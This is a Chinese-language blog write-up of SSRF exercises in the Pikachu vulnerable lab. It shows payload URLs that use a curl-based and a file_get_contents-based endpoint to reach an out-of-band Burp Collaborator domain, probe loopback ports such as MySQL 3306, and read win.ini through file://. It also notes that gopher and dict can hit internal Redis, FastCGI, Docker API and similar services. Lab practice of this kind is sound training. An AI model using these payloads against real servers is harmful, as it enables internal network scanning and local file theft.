云计算百科
云计算领域专业知识百科平台

学习渗透测试——SSRF

学习SSRF

SSRF(服务端请求伪造)

服务器提供了从远程拉取资源的功能(比如图片预览、URL转码、爬虫、获取网页摘要等),但又没有对目标地址做严格过滤与限制

攻击者传入恶意URL,让服务器去访问这个地址(很多内网服务默认信任本机访问)

服务器作为请求发起者,可以访问服务器所在内网

总结:骗服务器干活,拿服务器当跳板扫内网。

SSRF(curl)

只有一个可以点击的链接,没有任何输入框或选择

看一下提示

提示要我了解一下curl相关函数用法。

·PHP中curl是用来在服务端发起HTTP请求的扩展

·curl支持多种协议,包括http/https、gopher、dict、file、ftp

gopher协议在其中威胁最大(能发送任意TCP数据),俗称“万能协议”。

学习地址:https://zhuanlan.zhihu.com/p/2046951452132881344?utm_medium=openapi_platform&utm_source=e10c3ad29e50

接下来开始读诗http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php

判断SSRF存在

用burp的Collaborator模块获取一个域名:kk8wap9xz661r8u37fhaicecu30uomcb.oastify.com

尝试让这个ssrf网站访问域名

http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_curl.php?url=kk8wap9xz661r8u37fhaicecu30uomcb.oastify.com

访问成功,按Poll now按键后,获取到访问请求。证明这里存在SSRF漏洞

访问回环地址网页

http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1

端口探测

http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306

显示了我的MySQL的版本信息和乱码。内网端口探测成功。

读取文件

试试file协议

http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///C:/Windows/win.ini

显示了我的win.ini文件内容。读取服务器本地文件。

SSRF(file_get_content)

提示要我了解一下file_get_content()相关函数用法。

·file_get_content要代码中写了“allow_url_fopen = On”才能访问网络URL

·file_get_content支持的协议比较少了,包括http/https、file、ftp

依旧是叫我读诗

注意到此时URL结构:

http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info2.php

可以在file=…这里做文章

访问回环地址网页

http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1

端口探测

http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1:3306

探测失败

了解后才明白,因为3306端口MySQL不认识HTTP请求,所以页面会空白

http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1:8080

探测8080端口时就回显了,我的8080端口刚好是BurpSuite在占用

读取文件

由于file_get_contents支持file://协议,尝试读取文件

http://10.34.216.210/pikachu-master/vul/ssrf/ssrf_fgc.php?file=file:///C:/Windows/win.ini

gopher:// 协议打内网

对比

·http:只能发 HTTP 请求

·gopher:他的本质是隧道,能发送任意 TCP 报文,所以Redis、FastCGI(快速通用网关接口,默认配置在9000端口)、Mysql(3306)、Memcached(缓存系统,11211端口)、Zabbix Agent(监控平台,10050端口)、Docker API(Docker Daemon监听在2375端口),都可以打

dict://

dict协议只能发文本命令,并且会自动补充\\r\\n,可以打redis、简单TCP服务探测内网

赞(0)
未经允许不得转载:网硕互联帮助中心 » 学习渗透测试——SSRF
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!